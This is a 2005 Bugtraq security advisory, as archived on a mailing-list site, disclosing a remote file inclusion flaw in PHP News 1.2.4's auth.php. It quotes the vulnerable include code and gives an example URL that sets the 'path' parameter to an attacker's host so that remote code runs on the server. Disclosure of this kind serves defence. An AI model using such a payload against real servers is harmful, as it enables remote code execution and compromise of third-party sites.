Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Bugtraq: PHP News <= 1.2.4 - Remote File Inclusion (VXSfx)

PHP News <= 1.2.4 - Remote File Inclusion (VXSfx)

From: Filip Groszynski <groszynskif_at_gmail.com>
Date: 1 Mar 2005 20:48:16 -0000
('binary' encoding is not supported, stored as-is) -- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name: PHP News
Version: 1.2.4 (and possibly 1.2.3)
Homepage: http://newsphp.sourceforge.net/

Author: Filip Groszynski (VXSfx)
Date: 23 February 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in auth.php:

  if (is_Array($userDetails)) {
    ...
  }
  /* You're about to log in/no user language is specified */
  else if(file_exists($path . 'languages/' . $lang . '.admin.lng')) {
    include_once($path . 'languages/' . $lang . '.admin.lng');
    ....
  } else {
    include_once($path . 'languages/en_GB.admin.lng');
    ....
  }

--------------------------------------------------------

Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/auth.php?path=http://[hacker_box]/

--------------------------------------------------------

Fix and Vendor status:

  Vendor has been notified, expect an official patch tomorrow.
  
--------------------------------------------------------

Contact:

    Author: Filip Groszynski (VXSfx)
    Location: Poland <Warsaw>
    Email: groszynskif <at> gmail <dot> com
    HP: http://shell.homeunix.org

-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Received on Mar 01 2005

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos